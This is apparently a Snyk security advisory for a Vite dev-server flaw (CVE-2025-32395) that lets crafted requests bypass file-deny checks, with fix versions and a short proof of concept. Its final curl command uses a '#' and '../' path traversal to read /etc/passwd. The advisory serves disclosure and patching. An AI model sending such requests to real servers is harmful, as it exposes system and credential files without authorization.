Information Exposure Affecting org.mvnpm:vite package, versions [,5.4.21)[6.1.0,6.2.6)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.81% (79th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGMVNPM-22733364
  • published22 Nov 2026
  • disclosed10 Apr 2025
  • creditdo9gy-msec, sw0rd1ight

Introduced: 10 Apr 2025

CVE-2025-32395  (opens in a new tab)
CWE-200  (opens in a new tab)

How to fix?

Upgrade org.mvnpm:vite to version 5.4.21, 6.2.6 or higher.

Overview

org.mvnpm:vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Information Exposure due to the handling of req.url which may contain unexpected characters such as #. An attacker can access and retrieve the contents of arbitrary files by sending specially crafted requests that bypass the server.fs.deny checks.

Note:

This is only exploitable if the Vite dev server is explicitly exposed to the network and running on Node or Bun runtimes, excluding Deno.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

CVSS Base Scores

version 4.0
version 3.1